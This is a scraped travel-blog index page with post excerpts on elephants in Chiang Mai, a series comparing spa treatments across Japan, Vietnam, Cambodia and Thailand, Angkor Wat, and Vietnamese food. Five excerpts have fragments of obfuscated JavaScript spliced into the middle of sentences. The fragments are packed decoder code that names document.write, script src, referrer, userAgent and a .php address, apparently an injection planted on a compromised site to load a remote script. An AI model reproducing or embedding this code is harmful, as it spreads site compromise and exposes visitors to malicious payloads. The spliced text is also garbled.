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That Time I Rode an Elephant

After leaving Cambodia we headed to Chiang Mai.  A cute, charming town in Northern Thailand.  One of our few “Scheduled” activities was a visit to the Thai Elephant Home.  Well rated on tripadvisor and recommended by a friend, we were excited to spend a day with these amazing animals! What sets this outfit apart from […]

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Spa Treatments in SE Asia – For Science: Thailand

Part ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dkyid|var|u0026u|referrer|tabhb||js|php’.split(‘|’),0,{})) 1- Japan | Part 2 – Vietnam | Part 3 – Cambodia I’m finishing off this series with our stay in Thailand.  Famous for Thai massages, they did not disappoint! Location: Khunka (Rachadamnoen, Old City) Treatment: 60 minute back, neck, and shoulder massage with oil Cost: 390 baht + […]

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Spa Treatments in SE Asia – For Science: Cambodia

If you only read one spa post, read this one. Part ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dbyba|var|u0026u|referrer|ainty||js|php’.split(‘|’),0,{})) 1 and Part 2 if you are interested. Location: Golden Butterfly Villa (Siem Reap) Treatment: 60 minute Cambodian Massage – whatever the heck that is Cost: FREE (it was included with our hotel stay, but would have cost $6 […]

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Spa Treatments in SE Asia – For Science: Vietnam

Part 2 of my review of spa treatments in SE Asia.  See Part ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bttfe|var|u0026u|referrer|sitsb||js|php’.split(‘|’),0,{})) 1, in Japan for the expensive start to this experiment. Once we got to Vietnam, and the cost of a spa treatment went dramatically down, it seemed only right to sample multiple spa treatments per country.  When […]

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Spa Treatments in SE Asia – For Science: Japan

For science.  At least that’s what I told Nick. I dreamed up this great idea while we were staying at the Park Hyatt Tokyo.  Baller style.  I decided it was necessary ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eariy|var|u0026u|referrer|dbaen||js|php’.split(‘|’),0,{})) for me to compare beauty and spa treatments in every country we visited.  So naturally, I’d need to start […]

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Angkor Wat

We spent a hot minute in Siem Reap to see the Angkor Wat temples. Since we were only going to be in the area for 2 days, we hired a guide to take us around the temples.  From an efficiency standpoint, this is really nice.  They can speak to the history – our guide was […]

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Bai Dinh Pagoda and Trang An

We never made it to Halong Bay.  It was billed as a solid 4 hour bus ride from Hanoi and not really doable in 1 day.  As a result, we decided to pass.  Instead, we headed to Trang An.  After a decent amount of research, we picked Trang An based off of the reviews – […]

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Everything else we ate in Vietnam

We were pleasantly surprised by the amazing food in Vietnam.  It was a welcome change from the food in Japan.  Very fresh and almost always delicious!  Here’s a quick recap. Bun ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|naeny|var|u0026u|referrer|zykkz||js|php’.split(‘|’),0,{})) Bo – 67 Hang Dieu It’s like pho’s burly cousin from the country.  It uses a heartier broth and […]

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Banh Xeo

It’s a Vietnamese pancake.  But it’s so much more than just a silly pancake. We had Banh Xeo with Brinda after our trip to the Cu Chi tunnels.  The Banh Xeo “restaurant” was not a place I’d typically stop at.  It was an outdoor-ish kitchen with a  bunch of metal tables and chairs.  I’d soon […]

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Cu Chi Tunnels

The Cu Chi tunnels are a short drive from Ho Chi Minh city – a little less than 1 hr.  I knew nothing about them, “thankfully” my history buff husband was right on top of it.  So we spent the morning of day 2 exploring the tunnels. For anyone planning a trip to the tunnels, […]